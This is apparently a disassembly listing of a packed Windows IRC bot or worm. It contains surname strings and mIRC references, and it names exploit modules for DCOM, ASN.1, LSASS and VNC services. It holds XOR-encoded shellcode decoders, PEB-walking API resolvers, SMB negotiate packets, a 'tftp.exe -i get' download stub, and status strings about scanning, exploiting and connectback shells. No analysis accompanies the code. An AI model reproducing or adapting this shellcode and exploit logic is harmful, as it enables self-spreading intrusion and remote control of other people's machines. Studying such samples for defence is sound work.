aArellano	db 'Arellano',0         ; DATA XREF: .packed:0042DA1Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: .packed:0042DA18o
aArbia		db 'Arbia',0            ; DATA XREF: .packed:0042DA14o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: .packed:0042DA10o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .packed:0042DA0Co
aAnsley		db 'Ansley',0           ; DATA XREF: .packed:0042DA08o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .packed:0042DA04o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: .packed:0042DA00o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: .packed:0042D9FCo
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .packed:0042D9F8o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: .packed:0042D9F4o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .packed:0042D9F0o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: .packed:0042D9ECo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .packed:0042D9E8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .packed:0042D9E4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: .packed:0042D9E0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .packed:0042D9DCo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: .packed:0042D9D8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: .packed:0042D9D4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: .packed:0042D9D0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: .packed:0042D9CCo
aAleks		db 'Aleks',0            ; DATA XREF: .packed:0042D9C8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: .packed:0042D9C4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .packed:0042D9C0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: .packed:0042D9BCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .packed:0042D9B8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: .packed:0042D9B4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .packed:0042D9B0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: .packed:0042D9ACo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: .packed:off_42D9A8o
aAdams		db 'Adams',0            ; DATA XREF: .packed:0042D9A4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: .packed:0042D9A0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .packed:off_42D99Co
		align 4
byte_4315F4	db 50h			; DATA XREF: .packed:0040ABE6o
					; .packed:0040ABF3r
		db 43h,	2 dup(0)
dword_4315F8	dd 7C7325h		; DATA XREF: .packed:0040AC91o
dword_4315FC	dd 5D73255Bh, 7Ch	; DATA XREF: .packed:0040AD9Bo
dword_431604	dd 3F3F3Fh		; DATA XREF: .packed:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431608	dd 334B32h		; DATA XREF: .packed:0040AD8Bo
dword_43160C	dd 5058h		; DATA XREF: .packed:0040AD7Do
					; .packed:0040AF89o ...
dword_431610	dd 4B32h		; DATA XREF: .packed:0040AD6Do
					; .packed:0040AF79o ...
dword_431614	dd 454Dh		; DATA XREF: .packed:0040AD54o
					; .packed:0040AF60o ...
dword_431618	dd 3839h		; DATA XREF: .packed:0040AD44o
					; .packed:0040AF50o ...
dword_43161C	dd 544Eh		; DATA XREF: .packed:0040AD34o
					; .packed:0040AF41o ...
dword_431620	dd 3539h		; DATA XREF: .packed:0040AD26o
					; .packed:0040AF33o ...
dword_431624	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
dword_43162C	dd 5D4D5Bh		; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: .packed:0040B0D6o
		align 4
a99		db '99',0               ; DATA XREF: .packed:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: .packed:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: .packed:0040B054o
					; sub_41ADD8+52o
off_43165C	dd offset byte_4B4E55	; DATA XREF: .packed:0040B037o
dword_431660	dd 345053h		; DATA XREF: .packed:0040B02Do
dword_431664	dd 34h			; DATA XREF: .packed:0040B021o
dword_431668	dd 335053h		; DATA XREF: .packed:0040B014o
dword_43166C	dd 33h			; DATA XREF: .packed:0040B003o
dword_431670	dd 325053h		; DATA XREF: .packed:0040AFF6o
dword_431674	dd 32h			; DATA XREF: .packed:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431678	proc near		; DATA XREF: .packed:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431678	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43167C	dd 305053h		; DATA XREF: .packed:0040AFBAo
dword_431680	dd 4E55h		; DATA XREF: .packed:loc_40AF9Eo
dword_431684	dd 3332h		; DATA XREF: .packed:0040AF97o
; ---------------------------------------------------------------------------


loc_431688:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_43168C
; ---------------------------------------------------------------------------


loc_43168A:				; CODE XREF: .packed:loc_43168Cp
		jmp	short loc_431691
; ---------------------------------------------------------------------------


loc_43168C:				; CODE XREF: .packed:loc_431688j
		call	loc_43168A


loc_431691:				; CODE XREF: .packed:loc_43168Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_431696	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_43169B	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316A0:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316A4
; ---------------------------------------------------------------------------


loc_4316A2:				; CODE XREF: .packed:loc_4316A4p
		jmp	short loc_4316A9
; ---------------------------------------------------------------------------


loc_4316A4:				; CODE XREF: .packed:loc_4316A0j
		call	loc_4316A2


loc_4316A9:				; CODE XREF: .packed:loc_4316A2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316AD	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316B1	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316B8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_431735	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43173C
		retn
; ---------------------------------------------------------------------------
byte_43173C	db 0E8h			; CODE XREF: .packed:00431739j
dword_43173D	dd 1			; DATA XREF: sub_40B13C+45w
byte_431741	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43174B	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
dword_43177C	dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
					; DATA XREF: sub_40B477+10o
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; .packed:0040E229o ...
		align 4
		dd 5 dup(0)
dword_4317F8	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_4317FC	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431800	dd 0			; DATA XREF: sub_40B90E+2Eo
					; .packed:0040D759w ...
dword_431804	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431808	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_43180C	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4319DA	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
aDcom135_0	db 'dcom135',0
		align 4
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A06

; =============== S U B	R O U T	I N E =======================================



sub_4319F6	proc near		; CODE XREF: sub_4319F6:loc_431A06p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4319FE:				; CODE XREF: sub_4319F6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4319FE
		jmp	short loc_431A0B
; ---------------------------------------------------------------------------


loc_431A06:				; CODE XREF: .packed:004319F4j
		call	sub_4319F6


loc_431A0B:				; CODE XREF: sub_4319F6+Ej
		jo	short near ptr dword_431994+12h
		cwde
		cdq
		cdq
		retn
sub_4319F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 4
dword_431B88	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431B94	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BB4	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431BFC	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C38	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C64	db  2Dh	; -		; DATA XREF: sub_40BB65+172o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431C98	db  2Dh	; -		; DATA XREF: sub_40BB65+80o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431CC8	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431CE8	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D04	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431D38	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D70	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_431DA0	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DD4	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431E08	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E3C	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E64	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40C600+1CEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EDC	db  2Dh	; -		; DATA XREF: sub_40C600+173o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F14	db  2Dh	; -		; DATA XREF: sub_40C600+103o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48	db  2Dh	; -		; DATA XREF: sub_40C600+87o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
unk_431F7C	db  2Dh	; -		; DATA XREF: sub_40C85F+92o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOp_0	db 'IP: %s Port: %d is open.',0
		align 4
unk_431FA4	db  2Dh	; -		; DATA XREF: sub_40C92C+41o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
unk_431FCC	db  2Dh	; -		; DATA XREF: sub_40CA1D+D1o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
unk_431FF8	db  2Dh	; -		; DATA XREF: sub_40CA1D+41o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CD9E+B2o
		align 10h
dword_432030	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432038	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_43203C	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_432044	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4320FC	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432108	db  81h	; 		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432154	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_432198	proc near		; DATA XREF: .packed:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_432294
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322AA
		mov	[esi+8], eax
		call	sub_43225D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322AA
		mov	[esi+0Ch], eax
		call	sub_43220F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322AA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432198	endp


; =============== S U B	R O U T	I N E =======================================



sub_43220F	proc near		; CODE XREF: sub_432198+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432238
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43220F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432238	proc near		; CODE XREF: sub_43220F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_432247:				; CODE XREF: sub_432238+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432254
		inc	ebx
		jmp	short loc_432247
; ---------------------------------------------------------------------------


loc_432254:				; CODE XREF: sub_432238+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432238	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43225D	proc near		; CODE XREF: sub_432198+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_432275:				; CODE XREF: sub_43225D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43227D
		mov	ecx, [ecx]
		jmp	short loc_432275
; ---------------------------------------------------------------------------


loc_43227D:				; CODE XREF: sub_43225D+1Aj
		mov	edx, edi


loc_43227F:				; CODE XREF: sub_43225D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432289
		mov	edx, [edx+4]
		jmp	short loc_43227F
; ---------------------------------------------------------------------------


loc_432289:				; CODE XREF: sub_43225D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43225D	endp


; =============== S U B	R O U T	I N E =======================================



sub_432294	proc near		; CODE XREF: sub_432198+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_432294	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322AA	proc near		; CODE XREF: sub_432198+16p
					; sub_432198+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322C0:				; CODE XREF: sub_4322AA+33j
		jecxz	short loc_4322FA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322CD:				; CODE XREF: sub_4322AA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322D9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_4322D9:				; CODE XREF: sub_4322AA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322C0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4322FA:				; CODE XREF: sub_4322AA:loc_4322C0j
					; sub_4322AA:loc_4322FAj
		jmp	short loc_4322FA
sub_4322AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432300	proc near		; DATA XREF: .packed:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432352
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43231D:				; CODE XREF: sub_432300+38j
		jecxz	short loc_43234D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432328:				; CODE XREF: sub_432300+32j
		lodsb
		test	al, al
		jz	short loc_432334
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432328
; ---------------------------------------------------------------------------


loc_432334:				; CODE XREF: sub_432300+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43231D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43234D:				; CODE XREF: sub_432300:loc_43231Dj
		mov	[esp+arg_0], ebx
		retn
sub_432300	endp


; =============== S U B	R O U T	I N E =======================================



sub_432352	proc near		; CODE XREF: sub_432300+7p

; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43236B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432376
; ---------------------------------------------------------------------------


loc_43236B:				; CODE XREF: sub_432352+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_432376:				; CODE XREF: sub_432352+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_43238A
sub_432352	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43237D	proc near		; CODE XREF: sub_432352:loc_43238Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_43237D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432352


loc_43238A:				; CODE XREF: sub_432352+29j
		call	sub_43237D


loc_43238F:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432352
; ---------------------------------------------------------------------------
		dw 0
dword_432394	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323A4	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
